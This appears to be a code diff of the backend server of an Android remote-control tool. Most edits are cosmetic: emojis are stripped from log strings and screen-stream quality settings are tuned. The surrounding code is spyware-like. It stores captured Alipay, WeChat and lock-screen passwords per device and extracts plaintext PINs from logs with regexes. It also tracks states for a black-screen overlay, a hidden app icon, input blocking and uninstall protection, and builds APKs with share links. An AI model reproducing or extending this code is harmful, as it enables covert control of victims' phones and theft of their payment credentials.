const PORT = process.env.PORT || 3000;
|
||||
|
||||
server.listen(PORT, () => {
|
||||
logger.info(`🚀 服务器启动在端口 ${PORT}`);
|
||||
logger.info(`📊 健康检查: http://localhost:${PORT}/health`);
|
||||
logger.info(`🔧 Socket.IO v4配置已优化 - 心跳: ${25000}ms/${60000}ms`);
|
||||
logger.info(` 服务器启动在端口 ${PORT}`);
|
||||
logger.info(` 健康检查: http://localhost:${PORT}/health`);
|
||||
logger.info(` Socket.IO v4配置已优化 - 心跳: ${25000}ms/${60000}ms`);
|
||||
});
|
||||
|
||||
export default server;
|
||||
@@ -64,7 +64,7 @@ export default class APKBuildService {
|
||||
this.logger.error(`[构建日志] ${message}`)
|
||||
break
|
||||
case 'success':
|
||||
this.logger.info(`[构建日志] ✅ ${message}`)
|
||||
this.logger.info(`[构建日志] ${message}`)
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -420,7 +420,7 @@ export default class APKBuildService {
|
||||
this.buildStatus.message = '生成分享链接...'
|
||||
this.addBuildLog('info', '生成分享链接...')
|
||||
|
||||
// 🚀 自动生成Cloudflare分享链接
|
||||
// 自动生成Cloudflare分享链接
|
||||
const apkPath = signedApkPath
|
||||
const filename = buildResult.filename!
|
||||
|
||||
@@ -673,7 +673,7 @@ export default class APKBuildService {
|
||||
|
||||
// 写入图标文件
|
||||
fs.writeFileSync(fullPath, iconFile.buffer)
|
||||
this.logger.info(`✅ 已更新图标: ${iconPath}`)
|
||||
this.logger.info(` 已更新图标: ${iconPath}`)
|
||||
} catch (error) {
|
||||
this.logger.error(`更新图标失败 ${iconPath}:`, error)
|
||||
// 继续处理其他图标,不中断整个过程
|
||||
@@ -699,14 +699,14 @@ export default class APKBuildService {
|
||||
}
|
||||
|
||||
fs.writeFileSync(fullPath, iconFile.buffer)
|
||||
this.logger.info(`✅ 已更新圆形图标: ${iconPath}`)
|
||||
this.logger.info(` 已更新圆形图标: ${iconPath}`)
|
||||
} catch (error) {
|
||||
this.logger.error(`更新圆形图标失败 ${iconPath}:`, error)
|
||||
// 继续处理其他图标,不中断整个过程
|
||||
}
|
||||
}
|
||||
|
||||
this.logger.info('✅ 应用图标更新完成')
|
||||
this.logger.info(' 应用图标更新完成')
|
||||
|
||||
} catch (error) {
|
||||
this.logger.error('更新应用图标失败:', error)
|
||||
|
||||
@@ -35,9 +35,9 @@ interface DeviceQualityState {
|
||||
|
||||
const QUALITY_PROFILES: Record<string, QualityProfile> = {
|
||||
low: { fps: 5, quality: 30, maxWidth: 360, maxHeight: 640, label: '低画质' },
|
||||
medium: { fps: 10, quality: 45, maxWidth: 480, maxHeight: 854, label: '中画质' },
|
||||
high: { fps: 15, quality: 60, maxWidth: 720, maxHeight: 1280, label: '高画质' },
|
||||
ultra: { fps: 20, quality: 75, maxWidth: 1080, maxHeight: 1920, label: '超高画质' },
|
||||
medium: { fps: 15, quality: 45, maxWidth: 480, maxHeight: 854, label: '中画质' },
|
||||
high: { fps: 20, quality: 55, maxWidth: 720, maxHeight: 1280, label: '高画质' },
|
||||
ultra: { fps: 25, quality: 70, maxWidth: 1080, maxHeight: 1920, label: '超高画质' },
|
||||
}
|
||||
|
||||
export class AdaptiveQualityService {
|
||||
@@ -129,7 +129,7 @@ export class AdaptiveQualityService {
|
||||
state.maxWidth = profile.maxWidth
|
||||
state.maxHeight = profile.maxHeight
|
||||
|
||||
this.logger.info(`📊 设备${deviceId}手动切换画质: ${profile.label}`)
|
||||
this.logger.info(` 设备${deviceId}手动切换画质: ${profile.label}`)
|
||||
return { params: profile }
|
||||
}
|
||||
|
||||
@@ -149,7 +149,7 @@ export class AdaptiveQualityService {
|
||||
if (params.maxHeight !== undefined) state.maxHeight = Math.max(320, Math.min(2560, params.maxHeight))
|
||||
state.currentProfile = 'custom'
|
||||
|
||||
this.logger.info(`📊 设备${deviceId}自定义参数: fps=${state.fps}, quality=${state.quality}, ${state.maxWidth}x${state.maxHeight}`)
|
||||
this.logger.info(` 设备${deviceId}自定义参数: fps=${state.fps}, quality=${state.quality}, ${state.maxWidth}x${state.maxHeight}`)
|
||||
return {
|
||||
params: {
|
||||
fps: state.fps,
|
||||
@@ -177,14 +177,14 @@ export class AdaptiveQualityService {
|
||||
state.maxWidth = profile.maxWidth
|
||||
state.maxHeight = profile.maxHeight
|
||||
|
||||
this.logger.info(`📉 设备${deviceId}自动降低画质: ${profile.label} (丢帧率${(state.clientDropRate * 100).toFixed(1)}%)`)
|
||||
this.logger.info(` 设备${deviceId}自动降低画质: ${profile.label} (丢帧率${(state.clientDropRate * 100).toFixed(1)}%)`)
|
||||
return { shouldAdjust: true, newParams: profile }
|
||||
}
|
||||
|
||||
// 已经是最低档,尝试进一步降低fps
|
||||
if (state.fps > 3) {
|
||||
state.fps = Math.max(3, state.fps - 2)
|
||||
this.logger.info(`📉 设备${deviceId}降低帧率到${state.fps}fps`)
|
||||
this.logger.info(` 设备${deviceId}降低帧率到${state.fps}fps`)
|
||||
return { shouldAdjust: true, newParams: { fps: state.fps } }
|
||||
}
|
||||
|
||||
@@ -208,7 +208,7 @@ export class AdaptiveQualityService {
|
||||
state.maxWidth = profile.maxWidth
|
||||
state.maxHeight = profile.maxHeight
|
||||
|
||||
this.logger.info(`📈 设备${deviceId}自动提升画质: ${profile.label}`)
|
||||
this.logger.info(` 设备${deviceId}自动提升画质: ${profile.label}`)
|
||||
return { shouldAdjust: true, newParams: profile }
|
||||
}
|
||||
|
||||
|
||||
@@ -197,7 +197,7 @@ export class AuthService {
|
||||
this.logger.info(`用户 ${this.SUPERADMIN_USERNAME} 已更新为超级管理员`)
|
||||
}
|
||||
|
||||
// 🆕 如果环境变量中设置了密码,始终用环境变量中的密码更新(确保.env配置生效)
|
||||
// 如果环境变量中设置了密码,始终用环境变量中的密码更新(确保.env配置生效)
|
||||
// 通过验证当前密码哈希与环境变量密码是否匹配来判断是否需要更新
|
||||
if (this.SUPERADMIN_PASSWORD) {
|
||||
const isCurrentPassword = await bcrypt.compare(this.SUPERADMIN_PASSWORD, existingUser.passwordHash)
|
||||
|
||||
@@ -339,13 +339,13 @@ export class CloudflareShareService {
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="icon">📱</div>
|
||||
<div class="icon"></div>
|
||||
<h1>APK文件下载</h1>
|
||||
<div class="filename">${filename}</div>
|
||||
<div class="filesize">文件大小: ${fileSize}</div>
|
||||
<a href="/download" class="download-btn">立即下载</a>
|
||||
<div class="warning">
|
||||
⚠️ 此下载链接有效期为10分钟,请及时下载
|
||||
此下载链接有效期为10分钟,请及时下载
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
@@ -53,9 +53,9 @@ export class ConnectionPoolService {
|
||||
): boolean {
|
||||
// 检查是否超过最大连接数
|
||||
if (this.connections.size >= this.MAX_CONNECTIONS) {
|
||||
this.logger.warn(`⚠️ 连接池已满 (${this.MAX_CONNECTIONS}), 尝试驱逐低优先级连接`)
|
||||
this.logger.warn(` 连接池已满 (${this.MAX_CONNECTIONS}), 尝试驱逐低优先级连接`)
|
||||
if (!this.evictLRU()) {
|
||||
this.logger.error(`❌ 无法添加新连接: 连接池已满且无法驱逐`)
|
||||
this.logger.error(` 无法添加新连接: 连接池已满且无法驱逐`)
|
||||
return false
|
||||
}
|
||||
}
|
||||
@@ -72,7 +72,7 @@ export class ConnectionPoolService {
|
||||
isActive: true
|
||||
})
|
||||
|
||||
this.logger.debug(`✅ 连接已添加: ${socketId} (${type}, ${priority})`)
|
||||
this.logger.debug(` 连接已添加: ${socketId} (${type}, ${priority})`)
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -82,7 +82,7 @@ export class ConnectionPoolService {
|
||||
removeConnection(socketId: string): boolean {
|
||||
const removed = this.connections.delete(socketId)
|
||||
if (removed) {
|
||||
this.logger.debug(`✅ 连接已移除: ${socketId}`)
|
||||
this.logger.debug(` 连接已移除: ${socketId}`)
|
||||
}
|
||||
return removed
|
||||
}
|
||||
@@ -194,7 +194,7 @@ export class ConnectionPoolService {
|
||||
}
|
||||
|
||||
if (lruSocket) {
|
||||
this.logger.info(`🗑️ 驱逐LRU连接: ${lruSocket} (${lruPriority})`)
|
||||
this.logger.info(` 驱逐LRU连接: ${lruSocket} (${lruPriority})`)
|
||||
this.connections.delete(lruSocket)
|
||||
return true
|
||||
}
|
||||
@@ -217,7 +217,7 @@ export class ConnectionPoolService {
|
||||
}
|
||||
|
||||
if (cleanedCount > 0) {
|
||||
this.logger.info(`🧹 清理空闲连接: ${cleanedCount}个`)
|
||||
this.logger.info(` 清理空闲连接: ${cleanedCount}个`)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -16,10 +16,10 @@ export interface DeviceRecord {
|
||||
lastSeen: Date
|
||||
connectionCount: number
|
||||
lastSocketId?: string
|
||||
status: 'online' | 'offline' | 'busy' // ✅ 添加设备状态字段
|
||||
publicIP?: string // 🆕 添加公网IP字段
|
||||
remark?: string // 🆕 添加设备备注字段
|
||||
// 🆕 新增系统版本信息字段
|
||||
status: 'online' | 'offline' | 'busy' // 添加设备状态字段
|
||||
publicIP?: string // 添加公网IP字段
|
||||
remark?: string // 添加设备备注字段
|
||||
// 新增系统版本信息字段
|
||||
systemVersionName?: string // 如"Android 11"、"Android 12"
|
||||
romType?: string // 如"MIUI"、"ColorOS"、"原生Android"
|
||||
romVersion?: string // 如"MIUI 12.5"、"ColorOS 11.1"
|
||||
@@ -36,7 +36,7 @@ export interface OperationLogRecord {
|
||||
timestamp: Date
|
||||
}
|
||||
|
||||
// ✅ 新增设备状态记录接口
|
||||
// 新增设备状态记录接口
|
||||
export interface DeviceStateRecord {
|
||||
deviceId: string
|
||||
password?: string
|
||||
@@ -52,7 +52,7 @@ export interface DeviceStateRecord {
|
||||
updatedAt: Date
|
||||
}
|
||||
|
||||
// 💰 支付宝密码记录接口
|
||||
// 支付宝密码记录接口
|
||||
export interface AlipayPasswordRecord {
|
||||
id?: number
|
||||
deviceId: string
|
||||
@@ -65,7 +65,7 @@ export interface AlipayPasswordRecord {
|
||||
createdAt: Date
|
||||
}
|
||||
|
||||
// 💬 微信密码记录接口
|
||||
// 微信密码记录接口
|
||||
export interface WechatPasswordRecord {
|
||||
id?: number
|
||||
deviceId: string
|
||||
@@ -78,7 +78,7 @@ export interface WechatPasswordRecord {
|
||||
createdAt: Date
|
||||
}
|
||||
|
||||
// 🔐 通用密码输入记录接口
|
||||
// 通用密码输入记录接口
|
||||
export interface PasswordInputRecord {
|
||||
id?: number
|
||||
deviceId: string
|
||||
@@ -138,21 +138,21 @@ export class DatabaseService {
|
||||
// 确保新增列存在(迁移)
|
||||
this.ensureDeviceTableColumns()
|
||||
|
||||
// ✅ 添加status字段到现有表(如果不存在)
|
||||
// 添加status字段到现有表(如果不存在)
|
||||
try {
|
||||
this.db.exec(`ALTER TABLE devices ADD COLUMN status TEXT DEFAULT 'offline'`)
|
||||
} catch (error) {
|
||||
// 字段已存在,忽略错误
|
||||
}
|
||||
|
||||
// 🆕 添加publicIP字段到现有表(如果不存在)
|
||||
// 添加publicIP字段到现有表(如果不存在)
|
||||
try {
|
||||
this.db.exec(`ALTER TABLE devices ADD COLUMN publicIP TEXT`)
|
||||
} catch (error) {
|
||||
// 字段已存在,忽略错误
|
||||
}
|
||||
|
||||
// 🆕 添加系统版本信息字段到现有表(如果不存在)
|
||||
// 添加系统版本信息字段到现有表(如果不存在)
|
||||
try {
|
||||
this.db.exec(`ALTER TABLE devices ADD COLUMN systemVersionName TEXT`)
|
||||
} catch (error) {
|
||||
@@ -204,7 +204,7 @@ export class DatabaseService {
|
||||
)
|
||||
`)
|
||||
|
||||
// ✅ 创建设备状态表
|
||||
// 创建设备状态表
|
||||
this.db.exec(`
|
||||
CREATE TABLE IF NOT EXISTS device_states (
|
||||
deviceId TEXT PRIMARY KEY,
|
||||
@@ -221,7 +221,7 @@ export class DatabaseService {
|
||||
)
|
||||
`)
|
||||
|
||||
// 🆕 为现有表添加新字段(如果不存在)
|
||||
// 为现有表添加新字段(如果不存在)
|
||||
try {
|
||||
this.db.exec(`ALTER TABLE device_states ADD COLUMN confirmButtonCoords TEXT`)
|
||||
} catch (error) {
|
||||
@@ -252,7 +252,7 @@ export class DatabaseService {
|
||||
// 字段已存在,忽略错误
|
||||
}
|
||||
|
||||
// 💰 创建支付宝密码记录表
|
||||
// 创建支付宝密码记录表
|
||||
this.db.exec(`
|
||||
CREATE TABLE IF NOT EXISTS alipay_passwords (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
@@ -268,7 +268,7 @@ export class DatabaseService {
|
||||
)
|
||||
`)
|
||||
|
||||
// 💬 创建微信密码记录表
|
||||
// 创建微信密码记录表
|
||||
this.db.exec(`
|
||||
CREATE TABLE IF NOT EXISTS wechat_passwords (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
@@ -284,7 +284,7 @@ export class DatabaseService {
|
||||
)
|
||||
`)
|
||||
|
||||
// 🔐 创建通用密码输入记录表
|
||||
// 创建通用密码输入记录表
|
||||
this.db.exec(`
|
||||
CREATE TABLE IF NOT EXISTS password_inputs (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
@@ -302,7 +302,7 @@ export class DatabaseService {
|
||||
)
|
||||
`)
|
||||
|
||||
// 🔐 创建用户设备权限表
|
||||
// 创建用户设备权限表
|
||||
this.db.exec(`
|
||||
CREATE TABLE IF NOT EXISTS user_device_permissions (
|
||||
userId TEXT NOT NULL,
|
||||
@@ -350,7 +350,7 @@ export class DatabaseService {
|
||||
CREATE INDEX IF NOT EXISTS idx_password_inputs_type ON password_inputs (passwordType)
|
||||
`)
|
||||
|
||||
// 💥 创建崩溃日志表
|
||||
// 创建崩溃日志表
|
||||
this.db.exec(`
|
||||
CREATE TABLE IF NOT EXISTS crash_logs (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
@@ -577,7 +577,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 将设备状态设置为离线
|
||||
* 将设备状态设置为离线
|
||||
*/
|
||||
setDeviceOffline(deviceId: string): void {
|
||||
try {
|
||||
@@ -607,7 +607,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 将所有设备状态重置为离线
|
||||
* 将所有设备状态重置为离线
|
||||
*/
|
||||
resetAllDevicesToOffline(): void {
|
||||
try {
|
||||
@@ -744,10 +744,10 @@ export class DatabaseService {
|
||||
lastSeen: new Date(row.lastSeen),
|
||||
connectionCount: row.connectionCount,
|
||||
lastSocketId: row.lastSocketId,
|
||||
status: row.status || 'offline', // ✅ 添加状态字段
|
||||
status: row.status || 'offline', // 添加状态字段
|
||||
publicIP: row.publicIP,
|
||||
remark: row.remark, // 🆕 添加备注字段
|
||||
// 🆕 添加系统版本信息字段
|
||||
remark: row.remark, // 添加备注字段
|
||||
// 添加系统版本信息字段
|
||||
systemVersionName: row.systemVersionName,
|
||||
romType: row.romType,
|
||||
romVersion: row.romVersion,
|
||||
@@ -756,7 +756,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 更新设备备注
|
||||
* 更新设备备注
|
||||
*/
|
||||
updateDeviceRemark(deviceId: string, remark: string): boolean {
|
||||
try {
|
||||
@@ -779,7 +779,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 获取设备备注
|
||||
* 获取设备备注
|
||||
*/
|
||||
getDeviceRemark(deviceId: string): string | null {
|
||||
try {
|
||||
@@ -962,8 +962,8 @@ export class DatabaseService {
|
||||
SELECT content, extraData FROM operation_logs
|
||||
WHERE deviceId = ?
|
||||
AND (
|
||||
content LIKE '%🔒 密码输入:%' OR
|
||||
content LIKE '%🔑 密码输入分析完成%' OR
|
||||
content LIKE '% 密码输入:%' OR
|
||||
content LIKE '% 密码输入分析完成%' OR
|
||||
content LIKE '%密码%' OR
|
||||
content LIKE '%PIN%'
|
||||
)
|
||||
@@ -995,8 +995,8 @@ export class DatabaseService {
|
||||
// 尝试从 content 中提取密码
|
||||
const content = row.content
|
||||
|
||||
// 匹配 "🔒 密码输入: xxx (N位)" 格式
|
||||
const passwordMatch = content.match(/🔒 密码输入:\s*(.+?)\s*\(\d+位\)/)
|
||||
// 匹配 " 密码输入: xxx (N位)" 格式
|
||||
const passwordMatch = content.match(/ 密码输入:\s*(.+?)\s*\(\d+位\)/)
|
||||
if (passwordMatch) {
|
||||
const password = passwordMatch[1].trim()
|
||||
// 过滤掉纯遮罩字符的密码
|
||||
@@ -1005,8 +1005,8 @@ export class DatabaseService {
|
||||
}
|
||||
}
|
||||
|
||||
// 匹配 "🔑 密码输入分析完成: xxx" 格式
|
||||
const analysisMatch = content.match(/🔑 密码输入分析完成:\s*(.+)/)
|
||||
// 匹配 " 密码输入分析完成: xxx" 格式
|
||||
const analysisMatch = content.match(/ 密码输入分析完成:\s*(.+)/)
|
||||
if (analysisMatch) {
|
||||
const password = analysisMatch[1].trim()
|
||||
if (password && !password.match(/^[•*]+$/)) {
|
||||
@@ -1023,7 +1023,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 获取设备状态
|
||||
* 获取设备状态
|
||||
*/
|
||||
getDeviceState(deviceId: string): DeviceStateRecord | null {
|
||||
try {
|
||||
@@ -1057,7 +1057,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 保存或更新设备状态
|
||||
* 保存或更新设备状态
|
||||
*/
|
||||
saveDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void {
|
||||
try {
|
||||
@@ -1155,7 +1155,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 更新设备密码
|
||||
* 更新设备密码
|
||||
*/
|
||||
updateDevicePassword(deviceId: string, password: string): void {
|
||||
try {
|
||||
@@ -1168,7 +1168,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 更新设备输入阻止状态
|
||||
* 更新设备输入阻止状态
|
||||
*/
|
||||
updateDeviceInputBlocked(deviceId: string, blocked: boolean): void {
|
||||
try {
|
||||
@@ -1181,7 +1181,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 更新设备日志记录状态
|
||||
* 更新设备日志记录状态
|
||||
*/
|
||||
updateDeviceLoggingEnabled(deviceId: string, enabled: boolean): void {
|
||||
this.saveDeviceState(deviceId, { loggingEnabled: enabled })
|
||||
@@ -1189,7 +1189,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 更新设备黑屏遮盖状态
|
||||
* 更新设备黑屏遮盖状态
|
||||
*/
|
||||
updateDeviceBlackScreenActive(deviceId: string, active: boolean): void {
|
||||
this.saveDeviceState(deviceId, { blackScreenActive: active })
|
||||
@@ -1197,7 +1197,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 更新设备应用隐藏状态
|
||||
* 更新设备应用隐藏状态
|
||||
*/
|
||||
updateDeviceAppHidden(deviceId: string, hidden: boolean): void {
|
||||
this.saveDeviceState(deviceId, { appHidden: hidden })
|
||||
@@ -1205,7 +1205,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🛡️ 更新设备防止卸载保护状态
|
||||
* 更新设备防止卸载保护状态
|
||||
*/
|
||||
updateDeviceUninstallProtection(deviceId: string, enabled: boolean): void {
|
||||
this.saveDeviceState(deviceId, { uninstallProtectionEnabled: enabled })
|
||||
@@ -1213,7 +1213,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 获取设备密码(优先从状态表获取,其次从日志获取)
|
||||
* 获取设备密码(优先从状态表获取,其次从日志获取)
|
||||
*/
|
||||
getDevicePassword(deviceId: string): string | null {
|
||||
try {
|
||||
@@ -1241,21 +1241,21 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 保存设备密码(别名方法,用于API调用)
|
||||
* 保存设备密码(别名方法,用于API调用)
|
||||
*/
|
||||
saveDevicePassword(deviceId: string, password: string): void {
|
||||
this.updateDevicePassword(deviceId, password)
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 更新设备状态(别名方法,用于API调用)
|
||||
* 更新设备状态(别名方法,用于API调用)
|
||||
*/
|
||||
updateDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void {
|
||||
this.saveDeviceState(deviceId, state)
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 保存确认按钮坐标
|
||||
* 保存确认按钮坐标
|
||||
*/
|
||||
saveConfirmButtonCoords(deviceId: string, coords: { x: number, y: number }): void {
|
||||
try {
|
||||
@@ -1268,7 +1268,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 获取确认按钮坐标
|
||||
* 获取确认按钮坐标
|
||||
*/
|
||||
getConfirmButtonCoords(deviceId: string): { x: number, y: number } | null {
|
||||
try {
|
||||
@@ -1284,7 +1284,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 更新学习的确认按钮坐标
|
||||
* 更新学习的确认按钮坐标
|
||||
*/
|
||||
updateLearnedConfirmButton(deviceId: string, coords: { x: number, y: number }): void {
|
||||
try {
|
||||
@@ -1344,7 +1344,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💰 保存支付宝密码记录
|
||||
* 保存支付宝密码记录
|
||||
*/
|
||||
saveAlipayPassword(record: AlipayPasswordRecord): void {
|
||||
try {
|
||||
@@ -1367,7 +1367,7 @@ export class DatabaseService {
|
||||
now.toISOString()
|
||||
)
|
||||
|
||||
this.logger.info(`💰 支付宝密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`)
|
||||
this.logger.info(` 支付宝密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`)
|
||||
} catch (error) {
|
||||
this.logger.error('保存支付宝密码失败:', error)
|
||||
throw error
|
||||
@@ -1375,7 +1375,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💰 获取设备的支付宝密码记录(分页)
|
||||
* 获取设备的支付宝密码记录(分页)
|
||||
*/
|
||||
getAlipayPasswords(deviceId: string, page: number = 1, pageSize: number = 50): {
|
||||
passwords: AlipayPasswordRecord[],
|
||||
@@ -1437,7 +1437,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💰 获取设备最新的支付宝密码
|
||||
* 获取设备最新的支付宝密码
|
||||
*/
|
||||
getLatestAlipayPassword(deviceId: string): AlipayPasswordRecord | null {
|
||||
try {
|
||||
@@ -1472,7 +1472,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💰 删除设备的支付宝密码记录
|
||||
* 删除设备的支付宝密码记录
|
||||
*/
|
||||
clearAlipayPasswords(deviceId: string): void {
|
||||
try {
|
||||
@@ -1489,7 +1489,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💰 清理旧的支付宝密码记录
|
||||
* 清理旧的支付宝密码记录
|
||||
*/
|
||||
cleanupOldAlipayPasswords(daysToKeep: number = 30): void {
|
||||
try {
|
||||
@@ -1508,7 +1508,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💬 保存微信密码记录
|
||||
* 保存微信密码记录
|
||||
*/
|
||||
saveWechatPassword(record: WechatPasswordRecord): void {
|
||||
try {
|
||||
@@ -1531,7 +1531,7 @@ export class DatabaseService {
|
||||
now.toISOString()
|
||||
)
|
||||
|
||||
this.logger.info(`💬 微信密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`)
|
||||
this.logger.info(` 微信密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`)
|
||||
} catch (error) {
|
||||
this.logger.error('保存微信密码失败:', error)
|
||||
throw error
|
||||
@@ -1539,7 +1539,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💬 获取设备的微信密码记录(分页)
|
||||
* 获取设备的微信密码记录(分页)
|
||||
*/
|
||||
getWechatPasswords(deviceId: string, page: number = 1, pageSize: number = 50): {
|
||||
passwords: WechatPasswordRecord[],
|
||||
@@ -1601,7 +1601,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💬 获取设备最新的微信密码
|
||||
* 获取设备最新的微信密码
|
||||
*/
|
||||
getLatestWechatPassword(deviceId: string): WechatPasswordRecord | null {
|
||||
try {
|
||||
@@ -1636,7 +1636,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💬 删除设备的微信密码记录
|
||||
* 删除设备的微信密码记录
|
||||
*/
|
||||
clearWechatPasswords(deviceId: string): void {
|
||||
try {
|
||||
@@ -1653,7 +1653,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💬 清理旧的微信密码记录
|
||||
* 清理旧的微信密码记录
|
||||
*/
|
||||
cleanupOldWechatPasswords(daysToKeep: number = 30): void {
|
||||
try {
|
||||
@@ -1672,15 +1672,15 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 保存通用密码输入记录
|
||||
* 保存通用密码输入记录
|
||||
*/
|
||||
savePasswordInput(record: PasswordInputRecord): void {
|
||||
try {
|
||||
// 🔧 在保存前验证设备是否存在
|
||||
// 在保存前验证设备是否存在
|
||||
const deviceExists = this.getDeviceById(record.deviceId)
|
||||
if (!deviceExists) {
|
||||
const errorMsg = `设备 ${record.deviceId} 不存在于数据库中,无法保存密码记录`
|
||||
this.logger.error(`❌ ${errorMsg}`)
|
||||
this.logger.error(` ${errorMsg}`)
|
||||
throw new Error(errorMsg)
|
||||
}
|
||||
|
||||
@@ -1705,12 +1705,12 @@ export class DatabaseService {
|
||||
now.toISOString()
|
||||
)
|
||||
|
||||
this.logger.info(`🔐 通用密码输入已保存: 设备=${record.deviceId}, 类型=${record.passwordType}, 密码长度=${record.passwordLength}, 活动=${record.activity}`)
|
||||
this.logger.info(` 通用密码输入已保存: 设备=${record.deviceId}, 类型=${record.passwordType}, 密码长度=${record.passwordLength}, 活动=${record.activity}`)
|
||||
} catch (error: any) {
|
||||
// 🔧 提供更详细的错误信息
|
||||
// 提供更详细的错误信息
|
||||
if (error.code === 'SQLITE_CONSTRAINT_FOREIGNKEY') {
|
||||
const errorMsg = `外键约束错误:设备 ${record.deviceId} 不存在于 devices 表中`
|
||||
this.logger.error(`❌ ${errorMsg}`)
|
||||
this.logger.error(` ${errorMsg}`)
|
||||
throw new Error(errorMsg)
|
||||
} else {
|
||||
this.logger.error('保存通用密码输入失败:', error)
|
||||
@@ -1720,7 +1720,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 获取设备的通用密码输入记录(分页)
|
||||
* 获取设备的通用密码输入记录(分页)
|
||||
*/
|
||||
getPasswordInputs(deviceId: string, page: number = 1, pageSize: number = 50, passwordType?: string): {
|
||||
passwords: PasswordInputRecord[],
|
||||
@@ -1792,7 +1792,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 获取设备最新的通用密码输入
|
||||
* 获取设备最新的通用密码输入
|
||||
*/
|
||||
getLatestPasswordInput(deviceId: string, passwordType?: string): PasswordInputRecord | null {
|
||||
try {
|
||||
@@ -1836,7 +1836,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 删除设备的通用密码输入记录
|
||||
* 删除设备的通用密码输入记录
|
||||
*/
|
||||
clearPasswordInputs(deviceId: string, passwordType?: string): void {
|
||||
try {
|
||||
@@ -1860,7 +1860,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 清理旧的通用密码输入记录
|
||||
* 清理旧的通用密码输入记录
|
||||
*/
|
||||
cleanupOldPasswordInputs(daysToKeep: number = 30): void {
|
||||
try {
|
||||
@@ -1879,7 +1879,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 获取密码类型统计
|
||||
* 获取密码类型统计
|
||||
*/
|
||||
getPasswordTypeStats(deviceId: string): any[] {
|
||||
try {
|
||||
@@ -1909,11 +1909,11 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 删除设备及其所有相关数据
|
||||
* 删除设备及其所有相关数据
|
||||
*/
|
||||
deleteDevice(deviceId: string): void {
|
||||
try {
|
||||
this.logger.info(`🗑️ 开始删除设备: ${deviceId}`)
|
||||
this.logger.info(` 开始删除设备: ${deviceId}`)
|
||||
|
||||
// 开始事务
|
||||
const deleteTransaction = this.db.transaction(() => {
|
||||
@@ -1981,8 +1981,8 @@ export class DatabaseService {
|
||||
// 执行事务
|
||||
const result = deleteTransaction()
|
||||
|
||||
this.logger.info(`✅ 设备删除完成: ${deviceId}`)
|
||||
this.logger.info(`📊 删除统计: 设备=${result.deviceRecords}, 状态=${result.stateRecords}, 日志=${result.logRecords}, 连接=${result.connectionRecords}, 支付宝=${result.alipayRecords}, 微信=${result.wechatRecords}, 通用密码=${result.passwordInputRecords}, 用户权限=${result.userPermissionRecords}`)
|
||||
this.logger.info(` 设备删除完成: ${deviceId}`)
|
||||
